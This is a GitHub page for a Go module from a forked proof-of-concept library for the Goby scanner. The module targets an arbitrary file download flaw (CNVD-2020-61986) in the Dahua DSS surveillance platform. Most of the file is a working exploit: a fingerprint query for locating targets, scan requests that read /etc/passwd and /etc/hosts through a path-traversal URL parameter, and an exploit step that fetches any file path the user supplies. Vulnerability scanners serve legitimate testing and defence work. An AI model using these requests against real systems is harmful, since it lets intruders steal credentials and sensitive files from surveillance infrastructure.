forked from luck-ying/Library-POC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
dahua_DSS_Arbitrary_file_download_cnvd_2020_61986.go
122 lines (119 loc) · 4.16 KB
/
dahua_DSS_Arbitrary_file_download_cnvd_2020_61986.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
package exploits
import (
"git.gobies.org/goby/goscanner/goutils"
)
func init() {
expJson := `{
"Name": "Dahua DSS System Arbitrary file download CNVD-2020-61986",
"Description": "Zhejiang Dahua DSS (Digital Surveillance System) is a comprehensive management platform integrating the management functions of four security subsystems: video, alarm, access control and intercom.\\nZhejiang Dahua Technology Co., Ltd.DSS has arbitrary file download vulnerability, which can be used by attackers to log in the interface to download any file and obtain sensitive information.",
"Product": "Zhejiang Dahua Technology Co., Ltd. DSS System",
"Homepage": "https://www.dahuatech.com",
"DisclosureDate": "2020-10-31",
"Author": "[email protected]",
"GobyQuery": "title=\"DSS-平安城市\"",
"Level": "2",
"Impact": "<p><span style=\"font-size: 14px;\">Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..</span><span style=\"font-size: 14px;\">\\ or..</span><span style=\"font-size: 14px;\">/) way to download or read a file outside the original specified path.</span><span style=\"font-size: 14px;\">The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system</span><br></p>",
"Recommandation": "<p>The manufacturer has not provided the relevant vulnerability patch link, please pay attention to the manufacturer's home page to update at any time:<span style=\"color: var(--primaryFont-color);\"><a href=\"https://www.dahuatech.com/\">https://www.dahuatech.com/</a></span></p>",
"References": [
"https://www.pwnwiki.org/index.php?title=CNVD-2020-61986_%E5%A4%A7%E8%8F%AFDSS%E7%B3%BB%E7%B5%B1%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E/zh-cn"
],
"HasExp": true,
"ExpParams": [
{
"name": "filePath",
"type": "createSelect",
"value": "file:///etc/hosts,file:///etc/passwd",
"show": ""
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"OR",
{
"Request": {
"method": "GET",
"uri": "/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "GET",
"uri": "/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/hosts",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "localhost",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/itc/attachment_downloadByUrlAtt.action?filePath={{{filePath}}}",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"SetVariable": [
"output|lastbody"
]
}
],
"Tags": [
"fileread"
],
"CVEIDs": null,
"CVSSScore": "0.0",
"AttackSurfaces": {
"Application": null,
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil,
nil,
))
}